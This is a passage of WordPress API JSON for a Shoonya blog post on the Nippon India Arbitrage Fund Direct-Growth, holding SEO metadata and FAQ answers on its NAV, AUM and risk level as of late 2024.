&hellip; <a href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Nippon India Arbitrage Fund Direct-Growth: Key Insights, Returns, Risks, and More&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":10557,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[12],"tags":[6242,6241,6240],"class_list":["post-10538","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mutual-funds","tag-nippon-arbitrage-fund-direct-growth","tag-nippon-india-arbitrage-fund-direct-plan-growth","tag-nippon-india-arbitrage-fund-direct-growth"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Nippon India Arbitrage Fund Direct-Growth: Everything You Need To Know<\/title>\n<meta name=\"description\" content=\"Nippon India Arbitrage Fund Direct-Growth offering consistent higher than average category return by using arbitrage opportunities in debt and cash Market.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Nippon India Arbitrage Fund Direct-Growth: Everything You Need To Know\" \/>\n<meta property=\"og:description\" content=\"Nippon India Arbitrage Fund Direct-Growth offering consistent higher than average category return by using arbitrage opportunities in debt and cash Market.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-12-31T08:01:24+00:00\" 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What is the current NAV of the Nippon India Arbitrage Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The current NAV (Net Asset Value) of the Nippon India Arbitrage Fund - Direct Plan as of<strong> <\/strong>27 December<strong> <\/strong>2024 stood at \u20b9 27.6783.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#faq-question-1735627039709","position":4,"url":"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#faq-question-1735627039709","name":"4. What is the AUM of the Nippon India Arbitrage Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The total assets under management (AUM) of Nippon India Arbitrage Fund - Direct Plan is \u20b9 15418 Crore as of 30 November 2024.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#faq-question-1735627068776","position":5,"url":"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#faq-question-1735627068776","name":"5. What is the Riskometer level of the Nippon India Arbitrage Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The Riskometer level of the Nippon India Arbitrage Fund - Direct Plan is marked as \"Low Risk\".\u00a0 This means the fund has lower risk and won\u2019t be very volatile","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/10538","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=10538"}],"version-history":[{"count":8,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/10538\/revisions"}],"predecessor-version":[{"id":12625,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/10538\/revisions\/12625"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/10557"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=10538"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=10538"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=10538"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}